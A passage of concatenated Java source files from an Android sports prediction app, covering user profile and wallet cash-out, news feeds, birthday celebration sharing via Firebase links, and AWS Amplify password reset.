setName(String name) { this.name = name; } public String getLogo() { return logo; } public void setLogo(String logo) { this.logo = logo; } @Override public String toString() { return "Team{" + "teamId=" + teamId + ", name='" + name + '\'' + ", logo='" + logo + '\'' + '}'; } } <file_sep>/app/src/main/java/com/mycornership/betlink/fragments/ProfileFragment.java package com.mycornership.betlink.fragments; import android.Manifest; import android.app.Activity; import android.app.AlertDialog; import android.app.Dialog; import android.content.DialogInterface; import android.content.Intent; import android.content.pm.PackageManager; import android.database.Cursor; import android.graphics.Bitmap; import android.net.Uri; import android.os.Bundle; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.core.app.ActivityCompat; import androidx.fragment.app.Fragment; import androidx.lifecycle.ViewModelProviders; import androidx.navigation.ActivityNavigator; import androidx.navigation.NavController; import androidx.navigation.Navigation; import android.provider.MediaStore; import android.text.TextUtils; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ProgressBar; import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Toast; import com.amplifyframework.core.Action; import com.amplifyframework.core.Amplify; import com.bumptech.glide.Glide; import com.google.android.gms.ads.AdListener; import com.google.android.gms.ads.AdRequest; import com.google.android.gms.ads.AdView; import com.google.android.material.button.MaterialButton; import com.google.android.material.snackbar.Snackbar; import com.google.android.material.textfield.TextInputEditText; import com.mycornership.betlink.R; import com.mycornership.betlink.activities.AddPredictionActivity; import com.mycornership.betlink.activities.AuthActivity; import com.mycornership.betlink.activities.NavHomeActivity; import com.mycornership.betlink.activities.NotificationActivity; import com.mycornership.betlink.activities.SubscriptionActivity; import com.mycornership.betlink.database.UserVModel; import com.mycornership.betlink.models.Cashout; import com.mycornership.betlink.models.DataResponse; import com.mycornership.betlink.models.Notification; import com.mycornership.betlink.models.User; import com.mycornership.betlink.networks.RestApi; import com.mycornership.betlink.networks.RestService; import java.io.File; import java.util.ArrayList; import java.util.List; import de.hdodenhof.circleimageview.CircleImageView; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class ProfileFragment extends Fragment { List<Notification> notifications = new ArrayList<>(); MaterialButton btn_login, btn_reg, btn_predict, btn_logout; TextView tv_pwin, tv_tpost, tv_name, tv_wallet; CircleImageView profile_pix; ProgressBar bar; View edit_pix, pContainer, sContainer; MaterialButton cash_out; String user, photo = null; private AdView adView; private View vw_not, dot_not; private static final int IMAGE_PERMISSION_CODE = 1; private static final int PICK_PROFILE_IMAGE = 2; private User account = new User(); public ProfileFragment() { // Required empty public constructor } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment return inflater.inflate(R.layout.fragment_profile, container, false); } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); //initialize components init(); //adds action listener to the buttons and views addListener(); //checks if the user is currently logged in if(Amplify.Auth.getCurrentUser() == null){ sContainer.setVisibility(View.VISIBLE); pContainer.setVisibility(View.GONE); } else { user = Amplify.Auth.getCurrentUser().getUsername(); //load users info from local database getUser(); sContainer.setVisibility(View.GONE); pContainer.setVisibility(View.VISIBLE); //load user info findUser(); } //loads banner ads loadBanner(); //check notification notificationCheck(); } private void init(){ btn_login = getView().findViewById(R.id.btn_login); btn_reg = getView().findViewById(R.id.btn_register); btn_predict = getView().findViewById(R.id.btn_predict); btn_logout = getView().findViewById(R.id.logout); bar = getView().findViewById(R.id.loading_bar); bar.setVisibility(View.GONE); vw_not = getView().findViewById(R.id.cashout_notify); dot_not = getView().findViewById(R.id.dot_notify); dot_not.setVisibility(View.GONE); tv_name = getView().findViewById(R.id.profile_name); tv_tpost = getView().findViewById(R.id.total_post); tv_pwin = getView().findViewById(R.id.total_win); tv_wallet = getView().findViewById(R.id.wallet_amt); profile_pix = getView().findViewById(R.id.profile_pix); edit_pix = getView().findViewById(R.id.pix_edit); pContainer = getView().findViewById(R.id.profile_container); pContainer.setVisibility(View.GONE); sContainer = getView().findViewById(R.id.sign_in_layout); sContainer.setVisibility(View.GONE); cash_out = getView().findViewById(R.id.btn_wallet); adView = getView().findViewById(R.id.adView2); MaterialButton btnSub = getView().findViewById(R.id.btn_subscribe); //navigates to the subscription activity when click subscribe button btnSub.setOnClickListener(v ->{ Intent i = new Intent(getContext(), SubscriptionActivity.class); startActivity(i); }); //add listener to the show notification view vw_not.setOnClickListener( v ->{ if(notifications.size() > 0) showNotificationDialog(); else Toast.makeText(getContext(), "notification not arrived", Toast.LENGTH_SHORT).show(); }); } private void addListener() { btn_predict.setOnClickListener(v -> { Intent i = new Intent(getContext(), AddPredictionActivity.class); startActivity(i); }); btn_login.setOnClickListener(v -> { Intent i = new Intent(getContext(), AuthActivity.class); startActivity(i); }); btn_reg.setOnClickListener(v ->{ Intent i = new Intent(getContext(), AuthActivity.class); i.putExtra("register", true); startActivity(i); }); btn_logout.setOnClickListener(v ->{ //log the current user out Snackbar.make(getView(), "Do you want to Log-Out?", 1500).setAction("Yes", v1 -> { signOut(); }).show(); }); //edit pix edit_pix.setOnClickListener(v ->{ //change user profile pix runtimePermissionRequest(); }); //withdraw or user cash out cash_out.setOnClickListener(v ->{ //try cash-out request for the user userCashOut(); }); } private void findUser(){ //shows progress bar.setVisibility(View.VISIBLE); RestApi api = RestService.getInstance().create(RestApi.class); Call<User> userCall = api.getUser(user); userCall.enqueue(new Callback<User>() { @Override public void onResponse(Call<User> call, Response<User> response) { //hides the progress bar.setVisibility(View.GONE); if(response.isSuccessful()){ User user = response.body(); account = user; if(user != null){ UserVModel vModel = ViewModelProviders.of(ProfileFragment.this).get(UserVModel.class); vModel.add(user); //refresh user information getUser(); } } } @Override public void onFailure(Call<User> call, Throwable t) { //hides the progress bar.setVisibility(View.GONE); } }); } private void userCashOut(){ //checks if user wallet is up-to threshold double amt = Double.parseDouble(account.getWallet()); if(amt >= 10.0){ Dialog dialog = new Dialog(getActivity()); dialog.setCanceledOnTouchOutside(true); dialog.setContentView(R.layout.cashout_layout); MaterialButton btn_submit = dialog.findViewById(R.id.btn_withdraw); TextInputEditText edt_amt = dialog.findViewById(R.id.cashout); btn_submit.setOnClickListener(v ->{ String val = edt_amt.getText().toString(); if(!TextUtils.isEmpty(val)){ dialog.dismiss(); submitWithdraw(val); } }); //shows the dialog dialog.show(); } else{ new AlertDialog.Builder(getActivity()) .setMessage("Your wallet must reach $10.0 to enable Cash-Out") .setCancelable(true) .setPositiveButton("Ok", (dialog, which) -> { dialog.dismiss(); }) .show(); Log.d("user_", "user cash out"); } } private void signOut(){ Amplify.Auth.signOut(() -> { Intent i = new Intent(getContext(), NavHomeActivity.class); startActivity(i); }, error ->{ Toast.makeText(getContext(), "error. try again!", Toast.LENGTH_SHORT).show(); }); } private void runtimePermissionRequest(){ //checks if permission is already granted if(ActivityCompat.checkSelfPermission(getContext(), Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) { //permission has not been granted before if(ActivityCompat.shouldShowRequestPermissionRationale(getActivity(), Manifest.permission.WRITE_EXTERNAL_STORAGE)){ //show the user the reason for requiring permission and continue Snackbar.make(getView(),"Allow SportingLink to access photos files on your device?", Snackbar.LENGTH_INDEFINITE) .setAction("Accept", new View.OnClickListener() { @Override public void onClick(View view) { requestPermissions(new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE}, IMAGE_PERMISSION_CODE); } }).show(); } else{ requestPermissions(new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE}, IMAGE_PERMISSION_CODE); } } else { //continue to upload the image uploadPix(); } } private void uploadPix(){ Intent i = new Intent(Intent.ACTION_PICK, MediaStore.Images.Media.EXTERNAL_CONTENT_URI); i.setType("image/*"); startActivityForResult(i, PICK_PROFILE_IMAGE); } @Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); Log.d("permission_", "request permission result"); //checks the kind of permission accepted if(requestCode == IMAGE_PERMISSION_CODE){ if(grantResults.length == 1 && grantResults[0] == PackageManager.PERMISSION_GRANTED){ uploadPix(); } } } @Override public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { super.onActivityResult(requestCode, resultCode, data); if(requestCode == PICK_PROFILE_IMAGE && resultCode == Activity.RESULT_OK){ Uri selected_img = data.getData(); String[] image_path_column = {MediaStore.Images.Media.DATA}; Cursor c = getContext().getContentResolver().query(selected_img, image_path_column, null, null, null); assert c != null; c.moveToFirst(); int columnIndex = c.getColumnIndex(image_path_column[0]); String image_path = c.getString(columnIndex); File image = new File(image_path); uploadAWS(image); } } private void uploadAWS(File image) { Amplify.Storage.uploadFile("user/profile-pix-"+ user + ".jpg", image, result ->{ Glide.with(getView()).load(Uri.parse(photo)).placeholder(R.drawable.profile_pix).into(profile_pix); Toast.makeText(getContext(), "profile pix updated", Toast.LENGTH_SHORT).show(); }, error ->{ Toast.makeText(getContext(), "update failed", Toast.LENGTH_SHORT).show(); }); } private void submitWithdraw(String val) { Cashout c = new Cashout(); c.setAmount(val); c.setUsername(account.getUsername()); c.setStatus("Pending"); //shows progress bar.setVisibility(View.VISIBLE); RestApi api = RestService.getInstance().create(RestApi.class); Call<DataResponse> withdraw = api.withdraw(c); withdraw.enqueue(new Callback<DataResponse>() { @Override public void onResponse(Call<DataResponse> call, Response<DataResponse> response) { bar.setVisibility(View.GONE); if(response.isSuccessful()) if(response.body() != null){ Toast.makeText(getContext(), response.body().getMessage(), Toast.LENGTH_SHORT).show(); notificationCheck(); } } @Override public void onFailure(Call<DataResponse> call, Throwable t) { bar.setVisibility(View.GONE); Toast.makeText(getContext(), "failed. try again!", Toast.LENGTH_SHORT).show(); } }); } private void loadBanner(){ AdRequest request = new AdRequest.Builder().build(); adView.loadAd(request); adView.setAdListener(new AdListener(){ @Override public void onAdClosed() { super.onAdClosed(); } @Override public void onAdLeftApplication() { super.onAdLeftApplication(); } @Override public void onAdClicked() { //notifyAdsAction(); } }); } private void getUser(){ if(Amplify.Auth.getCurrentUser() != null){ String username = Amplify.Auth.getCurrentUser().getUsername(); UserVModel vModel = ViewModelProviders.of(this).get(UserVModel.class); User currentUser = vModel.get(username); if(currentUser != null){ //display information of the user tv_tpost.setText("" + currentUser.getPost()); tv_pwin.setText("" + currentUser.getWon()); tv_name.setText("" + currentUser.getUsername()); String amt = currentUser.getWallet(); if(amt.contains(".")){ int x = amt.indexOf('.') + 4; amt = amt.substring(0, x); } tv_wallet.setText("$" + amt); photo = currentUser.getPhoto(); //display profile pix if(photo != null) Glide.with(getView()).load(Uri.parse(currentUser.getPhoto())).placeholder(R.drawable.profile_pix).into(profile_pix); } } } private void showNotificationDialog(){ Intent i = new Intent(getContext(), NotificationActivity.class); startActivity(i); } private void notificationCheck(){ if(Amplify.Auth.getCurrentUser() != null){ String username = Amplify.Auth.getCurrentUser().getUsername(); RestApi api = RestService.getInstance().create(RestApi.class); Call<List<Notification>> notCall = api.getNotification(username); notCall.enqueue(new Callback<List<Notification>>() { @Override public void onResponse(Call<List<Notification>> call, Response<List<Notification>> response) { if(response.isSuccessful()){ List<Notification> notificationList = response.body(); if(notificationList.size() > 0){ dot_not.setVisibility(View.VISIBLE); notifications = notificationList; } } } @Override public void onFailure(Call<List<Notification>> call, Throwable t) { } }); } } } <file_sep>/app/src/main/java/com/mycornership/betlink/fragments/NewsFragment.java package com.mycornership.betlink.fragments; import android.os.Bundle; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import androidx.viewpager2.widget.ViewPager2; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ProgressBar; import android.widget.Toast; import com.google.android.material.button.MaterialButton; import com.google.android.material.tabs.TabLayout; import com.google.android.material.tabs.TabLayoutMediator; import com.mycornership.betlink.R; import com.mycornership.betlink.adapters.HighlightTabAdapter; import com.mycornership.betlink.adapters.NewsAdapter; import com.mycornership.betlink.models.News; import com.mycornership.betlink.models.NewsResponse; import com.mycornership.betlink.networks.RestApi; import com.mycornership.betlink.networks.RestService; import java.util.ArrayList; import java.util.List; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class NewsFragment extends Fragment { private TabLayout tabLayout; private ViewPager2 viewPager; private HighlightTabAdapter tabAdapter; public NewsFragment() { // Required empty public constructor } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment return inflater.inflate(R.layout.fragment_news, container, false); } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); //initialize the tablayout tabLayout = getView().findViewById(R.id.highlight_tablayout); viewPager = getView().findViewById(R.id.highlight_viewpager); tabAdapter = new HighlightTabAdapter(this); viewPager.setAdapter(tabAdapter); new TabLayoutMediator(tabLayout, viewPager, (tab, position) ->{ switch (position){ case 0: tab.setText("News"); break; case 1: tab.setText("Video"); break; } }).attach(); } } <file_sep>/app/src/main/java/com/mycornership/betlink/activities/MainActivity.java package com.mycornership.betlink.activities; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import android.app.NotificationChannel; import android.app.NotificationManager; import android.content.Intent; import android.os.Build; import android.os.Bundle; import android.util.Log; import android.view.Window; import android.view.WindowManager; import android.widget.Toast; import com.amplifyframework.AmplifyException; import com.amplifyframework.auth.cognito.AWSCognitoAuthPlugin; import com.amplifyframework.core.Amplify; import com.amplifyframework.storage.s3.AWSS3StoragePlugin; import com.google.android.gms.ads.MobileAds; import com.google.android.gms.tasks.OnCompleteListener; import com.google.android.gms.tasks.Task; import com.google.firebase.FirebaseApp; import com.google.firebase.iid.FirebaseInstanceId; import com.google.firebase.iid.InstanceIdResult; import com.google.firebase.messaging.FirebaseMessaging; import com.mycornership.betlink.R; import java.util.Timer; import java.util.TimerTask; public class MainActivity extends AppCompatActivity { private Timer timer; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //initialize and pass intent data Intent intent = getIntent(); //initialize the AWS account initAWS(); try { //initialize firebase FirebaseApp.initializeApp(this); //initialize Ads MobileAds.initialize(this,"ca-app-pub-9133642311191277/8195639276"); } catch (Exception e){ Log.d("error_", e.toString()); } //time the loading of home page timer = new Timer(); timer.schedule(new TimerTask() { @Override public void run() { if(intent.getExtras() != null) { if(intent.hasExtra("news_id")) { newsPage(intent); } else{ navigateToMain(); } } else{ navigateToMain(); } } }, 2500); } private void navigateToMain() { Intent i = new Intent(this, NavHomeActivity.class); startActivity(i); finish(); } private void initAWS(){ try { Amplify.addPlugin(new AWSCognitoAuthPlugin()); Amplify.addPlugin(new AWSS3StoragePlugin()); Amplify.configure(getApplicationContext()); } catch (AmplifyException e) { e.printStackTrace(); Log.d("aws_error", e.getMessage()); } } private void newsPage(Intent data){ String body = data.getStringExtra("body"); String title = data.getStringExtra("title"); String url = data.getStringExtra("url"); String editor = data.getStringExtra("editor"); String date = data.getStringExtra("date"); String newsId = data.getStringExtra("id"); String cat = data.getStringExtra("category"); //initiate intent for news activity navigation Intent intent = new Intent(this, NewsActivity.class); intent.putExtra("body", body); intent.putExtra("title", title); intent.putExtra("url", url); intent.putExtra("editor", editor); intent.putExtra("date", date); intent.putExtra("category", cat); intent.putExtra("news_id", newsId); //navigates to news activity startActivity(intent); } } <file_sep>/app/src/main/java/com/mycornership/betlink/fragments/highlight/NewsHighlight.java package com.mycornership.betlink.fragments.highlight; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ProgressBar; import android.widget.Toast; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import androidx.swiperefreshlayout.widget.SwipeRefreshLayout; import com.mycornership.betlink.R; import com.mycornership.betlink.adapters.NewsAdapter; import com.mycornership.betlink.models.News; import com.mycornership.betlink.models.NewsResponse; import com.mycornership.betlink.networks.RestApi; import com.mycornership.betlink.networks.RestService; import java.util.ArrayList; import java.util.List; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class NewsHighlight extends Fragment { private RecyclerView recyclerView; private SwipeRefreshLayout refreshLayout; private NewsAdapter adapter; private List<Object> objects = new ArrayList<>(); private List<News> newsItems = new ArrayList<>(); private ProgressBar loadinBar; private int page = 0; private boolean isLoading = true; public NewsHighlight(){} @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment return inflater.inflate(R.layout.fragment_news_tab, container, false); } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); //initialize components init(); //load news items loadNews(page); //listen to recycler view scroll recyclerScrollListener(); } private void init() { loadinBar = getView().findViewById(R.id.loading_bar); //initialize the recyclerView recyclerView = getView().findViewById(R.id.news_recycler); LinearLayoutManager manager = new LinearLayoutManager(getContext()); adapter = new NewsAdapter(getContext(), objects); recyclerView.setLayoutManager(manager); recyclerView.setAdapter(adapter); refreshLayout = getView().findViewById(R.id.refresh); //listen to refresh action refreshLayout.setDistanceToTriggerSync(100); refreshLayout.setOnRefreshListener( () ->{ if(!isLoading) { isLoading = true; page = 0; objects = new ArrayList<>(); //load news items loadNews(page); } }); } private void recyclerScrollListener() { //listen to whenever the recycler view scroll changes recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() { @Override public void onScrollStateChanged(@NonNull RecyclerView recyclerView, int newState) { super.onScrollStateChanged(recyclerView, newState); } @Override public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) { super.onScrolled(recyclerView, dx, dy); LinearLayoutManager manager = (LinearLayoutManager) recyclerView.getLayoutManager(); if (manager != null && manager.findLastCompletelyVisibleItemPosition() == objects.size() - 1) { if (!isLoading) { isLoading = true; loadMoreData(); } } } }); } private void loadMoreData() { page += 1; objects.add(null); //notify adapter for the item change adapter.notifyItemInserted(objects.size() - 1); //load the next data on the list loadNews(page); } private void loadNews(int page) { //loads news items from the network RestApi api = RestService.getInstance().create(RestApi.class); Call<NewsResponse> newsCall = api.fetchNews(page); newsCall.enqueue(new Callback<NewsResponse>() { @Override public void onResponse(Call<NewsResponse> call, Response<NewsResponse> response) { if(response.isSuccessful()){ if(response.body().getCode() == 200) { newsItems = response.body().getData(); if(page == 0) { objects.addAll(newsItems); adapter = new NewsAdapter(getContext(), objects); recyclerView.setAdapter(adapter); } else{ //subsequent pages objects.remove(objects.size() - 1); int x = objects.size(); adapter.notifyItemRemoved(x); objects.addAll(newsItems); adapter.notifyDataSetChanged(); } } } //hides the progress bar isLoading = false; loadinBar.setVisibility(View.GONE); refreshLayout.setRefreshing(false); } @Override public void onFailure(Call<NewsResponse> call, Throwable t) { //hides progress bar isLoading = false; loadinBar.setVisibility(View.GONE); if(page == 0){ Toast.makeText(getContext(),"network error!", Toast.LENGTH_SHORT); refreshLayout.setRefreshing(false); } } }); } } <file_sep>/app/src/main/java/com/mycornership/betlink/networks/NetworkAvailability.java package com.mycornership.betlink.networks; import android.content.Context; import android.net.ConnectivityManager; import android.net.NetworkInfo; public class NetworkAvailability { public static boolean isConnected(Context c){ ConnectivityManager manager = (ConnectivityManager)c.getSystemService(Context.CONNECTIVITY_SERVICE); boolean connected = false; if(manager != null){ NetworkInfo info = manager.getActiveNetworkInfo(); connected = (info != null) && (info.isConnected()); } return connected; } } <file_sep>/app/src/main/java/com/mycornership/betlink/database/UserDAO.java package com.mycornership.betlink.database; import androidx.room.Dao; import androidx.room.Insert; import androidx.room.OnConflictStrategy; import androidx.room.Query; import com.mycornership.betlink.models.User; @Dao public interface UserDAO { @Insert(onConflict = OnConflictStrategy.REPLACE) void insert(User profile); @Query("SELECT * FROM user WHERE username = :user") User getProfile(String user); } <file_sep>/app/src/main/java/com/mycornership/betlink/models/Cashout.java package com.mycornership.betlink.models; import com.google.gson.annotations.SerializedName; public class Cashout { @SerializedName("success") private boolean success; @SerializedName("amount") private String amount; @SerializedName("status") private String status; @SerializedName("username") private String username; @SerializedName("date") private String date; public Cashout() { } public boolean isSuccess() { return success; } public void setSuccess(boolean success) { this.success = success; } public String getAmount() { return amount; } public void setAmount(String amount) { this.amount = amount; } public String getStatus() { return status; } public void setStatus(String status) { this.status = status; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getDate() { return date; } public void setDate(String date) { this.date = date; } } <file_sep>/app/src/main/java/com/mycornership/betlink/activities/CelebActivity.java package com.mycornership.betlink.activities; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import androidx.appcompat.widget.Toolbar; import androidx.recyclerview.widget.RecyclerView; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.util.Log; import android.view.MenuItem; import android.view.View; import android.widget.ImageView; import android.widget.MediaController; import android.widget.ProgressBar; import android.widget.TextView; import android.widget.Toast; import android.widget.VideoView; import com.amplifyframework.core.Amplify; import com.bumptech.glide.Glide; import com.google.android.gms.ads.AdListener; import com.google.android.gms.ads.AdRequest; import com.google.android.gms.ads.AdView; import com.google.android.gms.tasks.OnCompleteListener; import com.google.android.gms.tasks.Task; import com.google.android.material.floatingactionbutton.FloatingActionButton; import com.google.firebase.dynamiclinks.DynamicLink; import com.google.firebase.dynamiclinks.FirebaseDynamicLinks; import com.google.firebase.dynamiclinks.ShortDynamicLink; import com.mycornership.betlink.R; import com.mycornership.betlink.adapters.StickerAdapter; import com.mycornership.betlink.models.BirthdaySticker; import com.mycornership.betlink.networks.RestApi; import com.mycornership.betlink.networks.RestService; import java.util.ArrayList; import java.util.List; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class CelebActivity extends AppCompatActivity { TextView tv_note, tv_bio, tv_ach, tv_achievement; ImageView img_photo, img_photo2; VideoView videoView; Toolbar toolbar; Intent intent; ProgressBar bar; AdView adView, adView2; FloatingActionButton share_btn; MediaController controller; private String photoUrl, name, note1; List<BirthdaySticker> birthdayStickers = new ArrayList<>(); RecyclerView recyclerView; StickerAdapter adapter; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_celeb); toolbar = findViewById(R.id.toolbar); controller = new MediaController(this); //sets up the toolbar setSupportActionBar(toolbar); toolbar.setNavigationOnClickListener(view -> onBackPressed()); //initialize components init(); //fetch Intent data intent = getIntent(); getSupportActionBar().setTitle("Happy birthday " + intent.getStringExtra("name") + " from sportingLink"); //binds UI data bindUI(); //load ads loadAds(); //load people that celebrated him/her loadPeople(); } private void init(){ tv_note = findViewById(R.id.note_view); tv_bio = findViewById(R.id.bio_view); tv_achievement = findViewById(R.id.achievements); videoView = findViewById(R.id.video_view); img_photo = findViewById(R.id.photo_view); img_photo2 = findViewById(R.id.photo_view_2); adView = findViewById(R.id.adView); adView2 = findViewById(R.id.adView2); bar = findViewById(R.id.progress); bar.setVisibility(View.GONE); recyclerView = findViewById(R.id.people_recycler); adapter = new StickerAdapter(this, birthdayStickers); recyclerView.setAdapter(adapter); share_btn = findViewById(R.id.btn_share); share_btn.setOnClickListener(v ->{ generateLinks(); }); } private void bindUI() { String note = intent.getStringExtra("note"); note1 = note; String bio = intent.getStringExtra("bio"); String photo = intent.getStringExtra("photo"); photoUrl = photo; String photo2 = intent.getStringExtra("photo2"); String video = intent.getStringExtra("video"); String nm = intent.getStringExtra("name"); name = nm; String achievements = intent.getStringExtra("achievements"); tv_bio.setText(bio); tv_note.setText(note); tv_achievement.setText(achievements); //display the image and video Glide.with(this).load(photo).into(img_photo); Glide.with(this).load(photo2).into(img_photo2); videoView.setMediaController(controller); videoView.setVideoURI(Uri.parse(video)); } private void generateLinks(){ //show progress bar bar.setVisibility(View.VISIBLE); createShortDynamicLink(); } private String getLongDynamicLink(){ String username = ""; if(Amplify.Auth.getCurrentUser() != null) username = Amplify.Auth.getCurrentUser().getUsername(); String title = name + " birthday Celebration @sportingLink"; String path = FirebaseDynamicLinks.getInstance().createDynamicLink() .setDomainUriPrefix("https://sportinglinks.page.link") .setLink(Uri.parse("http://kasonmobile.com.ng/birthday?promoter=" + username)) .setAndroidParameters(new DynamicLink.AndroidParameters.Builder("com.mycornership.betlink").build()) .setSocialMetaTagParameters(new DynamicLink.SocialMetaTagParameters.Builder() .setTitle(title).setDescription("Join us and Celebrate " + name) .setImageUrl(Uri.parse(photoUrl)) .build()) .buildDynamicLink().getUri().toString(); return path; } private void createShortDynamicLink(){ Task<ShortDynamicLink> shortLinkGen = FirebaseDynamicLinks.getInstance().createDynamicLink() .setLongLink(Uri.parse(getLongDynamicLink())) .buildShortDynamicLink() .addOnCompleteListener(this, task -> { if(task.isSuccessful()){ Uri shortLink = task.getResult().getShortLink(); //hides the progress bar.setVisibility(View.GONE); String msg = ""; if(note1 != null) { if(note1.length() > 400) msg = note1.substring(0, note1.indexOf('.', 400)) + '\n' + "Read More On " + shortLink.toString(); else msg = note1 + '\n' + "Read More On " + shortLink.toString(); } //share the short link generated Intent i = new Intent(Intent.ACTION_SEND); i.setType("text/plain"); i.putExtra(Intent.EXTRA_TEXT, msg); startActivity(i); } else{ //hides the progress bar.setVisibility(View.GONE); Toast.makeText(getBaseContext(), "Short Link not generated", Toast.LENGTH_SHORT).show(); } }); } private void loadAds(){ AdRequest request = new AdRequest.Builder().build(); adView2.loadAd(request); AdRequest request2 = new AdRequest.Builder().build(); adView.loadAd(request2); } private void loadPeople() { RestApi api = RestService.getInstance().create(RestApi.class); Call<List<BirthdaySticker>> call = api.celebStickers(name); call.enqueue(new Callback<List<BirthdaySticker>>() { @Override public void onResponse(Call<List<BirthdaySticker>> call, Response<List<BirthdaySticker>> response) { Log.d("resp_", response.toString()); if(response.isSuccessful()){ if(response.body().size() > 0){ //display people that have liked or loved the celebrant adapter = new StickerAdapter(getBaseContext(), response.body()); recyclerView.setAdapter(adapter); } } } @Override public void onFailure(Call<List<BirthdaySticker>> call, Throwable t) { } }); } } <file_sep>/app/src/main/java/com/mycornership/betlink/fragments/auth/ForgotpasswordConfirm.java package com.mycornership.betlink.fragments.auth; import android.os.Bundle; import android.text.TextUtils; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ProgressBar; import android.widget.TextView; import android.widget.Toast; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.navigation.Navigation; import com.amplifyframework.core.Action; import com.amplifyframework.core.Amplify; import com.google.android.material.button.MaterialButton; import com.google.android.material.textfield.TextInputEditText; import com.google.android.material.textfield.TextInputLayout; import com.mycornership.betlink.R; import java.util.regex.Matcher; import java.util.regex.Pattern; public class ForgotpasswordConfirm extends Fragment { TextInputEditText edt_code, edt_pass; TextInputLayout layout1, layout2; MaterialButton btn_verify; ProgressBar bar; TextView pass_info; public ForgotpasswordConfirm() { } @Override public void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { return inflater.inflate(R.layout.fragment_forgot_confirm, container, false); } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); //initialize the widgets init(); } @Override public void onResume() { super.onResume(); } private void init(){ edt_code = getView().findViewById(R.id.code); edt_pass = getView().findViewById(R.id.password); layout1 = getView().findViewById(R.id.layout1); layout2 = getView().findViewById(R.id.layout2); btn_verify = getView().findViewById(R.id.btn_recover); bar = getView().findViewById(R.id.loading_bar); bar.setVisibility(View.GONE); btn_verify.setOnClickListener( v -> { String c = edt_code.getText().toString(); String p = edt_pass.getText().toString(); if(valid(c, p)){ confirm(c, p); } }); } private boolean valid(String c, String p) { if(TextUtils.isEmpty(c)){ layout1.setError("enter your code"); return false; } if(TextUtils.isEmpty(p)){ layout2.setError("enter new password"); return false; } String patterns = "^(?=.*[0-9])(?=.*[a-z])(?=.*[A-Z])(?=\\S+$).{8,}"; Pattern pattern = Pattern.compile(patterns); Matcher matcher = pattern.matcher(p); if(!matcher.matches()){ edt_pass.setError("invalid password"); pass_info.setText("password must contain at least 1 Capital later, 1 small later, 1 number and 8 characters in number."); return false; } return true; } private void confirm(String c, String p) { Amplify.Auth.confirmResetPassword(p, c, new Action() { @Override public void call() { //hides the progress bar.setVisibility(View.GONE); Toast.makeText(getContext(), "Password successfully changed", Toast.LENGTH_SHORT).show(); //navigates to login page Navigation.findNavController(getView()).navigate(R.id.login); } }, error -> { //hides the progress bar.setVisibility(View.GONE); Toast.makeText(getContext(), error.getMessage(), Toast.LENGTH_SHORT).show(); }); } } <file_sep>/app/src/main/java/com/mycornership/betlink/fragments/highlight/VideoHighlight.java package com.mycornership.betlink.fragments.highlight; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ProgressBar; import android.widget.Toast; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import androidx.swiperefreshlayout.widget.SwipeRefreshLayout; import com.google.android.gms.ads.AdListener; import com.google.android.gms.ads.AdLoader; import com.google.android.gms.ads.AdRequest; import com.google.android.gms.ads.formats.NativeAdOptions; import com.google.android.gms.ads.formats.UnifiedNativeAd; import com.mycornership.betlink.R; import com.mycornership.betlink.adapters.VideoAdapter; import com.mycornership.betlink.models.Video; import com.mycornership.betlink.models.VideoResponse; import 